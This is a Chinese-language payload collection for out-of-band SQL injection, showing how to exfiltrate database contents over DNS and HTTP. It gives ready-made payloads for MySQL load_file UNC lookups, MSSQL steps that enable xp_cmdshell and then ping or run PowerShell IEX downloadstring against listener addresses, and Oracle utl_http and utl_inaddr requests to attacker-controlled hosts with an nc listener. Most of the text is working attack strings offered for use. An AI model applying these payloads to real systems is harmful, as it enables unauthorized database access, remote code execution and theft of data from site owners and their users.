SQL注入 資料外帶 總集篇
0x00 資料外帶平臺
平臺網址 | 平臺簡介 |
---|---|
http://dnslog.cn/ | 僅支援DNS資料外帶 |
http://ceye.io/ | 支援DNS和HTTP兩種資料外帶方式(推薦使用 ) |
0x01 DNS外帶
MYSQL 資料外帶
外帶原理
- 利用UNC路徑去訪問伺服器,dns會有日誌,通過子查詢,將內容拼接到域名內,利用MYSQL內建函式load_file()去訪問共享檔案,訪問的域名被記錄,此時變為顯錯注入,將盲注變顯錯注入,讀取遠端共享檔案,通過拼接出函式做查詢,拼接到域名中,訪問時將訪問伺服器,記錄後檢視日誌。
注:load_file函式在Linux下是無法用來做dnslog攻擊的,涉及到Windows中的UNC路徑。(linux中不存在UNC路徑)
相關解釋
-
UNC是一種命名慣例, 主要用於在Microsoft Windows上指定和對映網路驅動器. UNC命名慣例最多被應用於在區域網中訪問檔案伺服器或者印表機。我們日常常用的網路共享檔案就是這個方式。
-
利用內建函式load_file()來完成DNSLOG。
-
load_file() 不僅能夠載入本地檔案,同時也能對諸如www.test.com這樣的URL發起請求。
-
load_file() 載入檔案' ',是對' \ '的轉義,load_file讀取檔案和windows讀取檔案呼叫的都是c的fopen()函式,而雙斜槓表示網路資源路徑,即UNC路徑,於是發起了dns請求
MYSQL dnslog條件
- secure_file_priv 擁有讀寫許可權
secure_file_priv = "" # 可以讀取磁碟目錄
secure_file_priv = "D:\" # 可以讀取D盤檔案
secure_file_priv = null # load_file限制,不能載入檔案
- 在mysql 5.5.34 預設為空可以載入檔案,之後的版本為NULL,不能載入檔案
show global variables like 'secure%'; //檢視是否有寫限制
常用payload
- 檢視版本號
?id=1 union select 1,load_file(concat('\\\\',( select version()),'.2hlktd.dnslog.cn\\a')),3--+
- 查庫名
?id=1 union select 1,load_file(concat('\\\\',( select database()),'.2hlktd.dnslog.cn\\a')),3--+
- 查表名
select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='mysql' limit 0,1),'.2hlktd.dnslog.cn\\a'))--+
- 查列名
select load_file(concat('\\\\',( select column_name from information_schema.columns where table_schema = 'mysql' and table_name = 'users' limit 0,1),'.2hlktd.dnslog.cn\\a'))--+
- 查資料
select load_file(concat('\\\\',( select id from mysql.user limit 0,1),'.2hlktd.dnslog.cn\\a'))--+
注意事項
-
有些時候資料庫欄位的值可能是有特殊符號的,由於域名有一定規範,有些特殊符號是不能帶入,這些特殊符號拼接在域名裡是無法做dns查詢的。可以用hex編碼 將含特殊符號的資料外帶出
-
char(ascii(database())) 編碼繞過
MSSQL 資料外帶
外帶原理
- 利用MSSQL中的xp_cmdshell儲存過程執行ping命令或直接拼接DNS平臺域名,發出DNS請求,再通過DNS平臺查詢DNS記錄獲取查詢的資料
MSSQL dnslog條件
- 開啟xp_cmdshell功能
?id=1; EXEC sp_configure 'show advanced options',1;--
?id=1; RECONFIGURE;--
?id=1; EXEC sp_configure 'xp_cmdshell',1;--
?id=1; RECONFIGURE;--
- 驗證xp_cmdshell功能
?id=1'; exec master..xp_cmdshell 'ping -n 10 127.0.0.1'--
常用payload
- 查庫名
?id=1;DECLARE @a varchar(1024);set @a=db_name();exec('master..xp_cmdshell "ping -n 2 ' %2b @a %2b'.2hlktd.dnslog.cn"')--
?id=2;declare @a varchar(1024);set @a=db_name();exec('master..xp_subdirs "//'%2B@a%2B'.leitu0.log.saltor.icu\\a" ');
注:其他方式xp_subdirs xp_dirtree xp_fileexist
Oracle 資料外帶
外帶原理
- Oracle的帶外注入和 DNSLOG很相似,需要使用網路請求的函式 進行注入利用
相關函式
-
utl_inaddr.get_host_address() 函式
-
SYS.DBMS_LDAP.INIT() 函式
常用payload
- 查當前使用者名稱
and (select utl_inaddr.get_host_address((select user from dual)||'.aaa.com(自己搭建dnslog)') from dual)is not null --
and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.aaaa.com(自己搭建dnslog)') from dual)is not null --
注意:|| 轉碼%7C%7C
命令外帶
- Windows系統檢視當前賬戶名
ping %USERNAME%.bbn3un.ceye.io
0x02 HTTP外帶
MSSQL 資料外帶
外帶原理
- 利用MSSQL中的xp_cmdshell儲存過程 和powershell發出HTTP請求,再通過監聽IP:埠 記錄或外帶平臺檢視返回資料
MSSQL HTTP外帶條件
- 開啟xp_cmdshell功能
?id=1; EXEC sp_configure 'show advanced options',1;--
?id=1; RECONFIGURE;--
?id=1; EXEC sp_configure 'xp_cmdshell',1;--
?id=1; RECONFIGURE;--
- 驗證xp_cmdshell功能
?id=1'; exec master..xp_cmdshell 'ping -n 10 127.0.0.1'--
常用payload
- 查庫名和版本
?id=1'; DECLARE @a varchar(8000);SET @a=db_name();exec('master..xp_cmdshell "powershell IEX (new-object net.webclient).downloadstring(''http://172.16.12.172:8888?data='%2b @a %2b''')"' ) --
?id=1'; DECLARE @okma VARCHAR(8000);SET @okma=(SELECT TOP 1 substring(@@version,1,35));exec('master..xp_cmdshell "powershell IEX (new-object net.webclient).downloadstring(''http://172.16.12.172:7777/?data='%2b @okma %2b''')"' ) --
Oracle 資料外帶
外帶原理
- 利用內建函式utl_http.request() 發起HTTP請求,然後通過監聽IP:埠 記錄或外帶平臺檢視返回資料
相關函式
-
utl_http.request()函式**
-
函式說明 :在Oracle中提供了utlhttprequest函式,用於取得web伺服器的請求資訊,因此,攻擊者可以自己監聽埠,然後通過這個函式用請求將需要的資料傳送反彈回頭
-
UTL_HTTP包介紹 :提供了對HTTP的一些操作。
-
舉例 :執行這條SQL語句,將返回 baidu. com的HTML原始碼
-
select UTL_HTTP.REQUEST('[http://www.baidu.com'](http://www.baidu.com))from dual
帶外注入過程
- 判斷 UTL_HTTP儲存過程是否可用
- 在注入點提交如下查詢:
select count(*) from allobjects where object name='UTL_HTTP'
- 通過頁面回顯判斷UTL_HTTP是否可用,如果頁面返回正常,則說明UTL_HTTP儲存過程可用
- 使用NC監聽資料
-
在本地用nc監聽一個埠,要求本地主機擁有一個外網的ip地址
-
nc-lvvp監聽埠
- 反彈資料資訊
- 在注入點提交:
and UTL_HTTP.request('[http://ip](http://ip):監聽埠/'||(查詢語句)=1--
- 即可實現注入攻擊
注意:每次在注入點提交一次請求,nc監聽完後就會斷開,需要重新啟動nc監聽
常用payload
- 判斷utl_http是否可用
id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP')--
id=1 and (select count(*) from all_objects where object_name='UTL_HTTP')>1--
id=1 union select 1,null,3,(select count(*) from all_objects where object_name='UTL_HTTP') from dual--
- 查詢資料庫版本指紋
and utl_http.request('http://172.16.12.172:8888/'%7C%7C'~'%7C%7C(select banner from sys.v_$version where rownum=1))=1--
- 查當前使用者名稱
id=1 and UTL_HTTP.request('http://ip:監聽埠/'||(select user from dual)=1--
id=1 and utl_http.request('http://域名或者ip:埠/'||(注入的語句))=1 -- //注意||轉碼%7C%7C
注意:|| 轉碼%7C%7C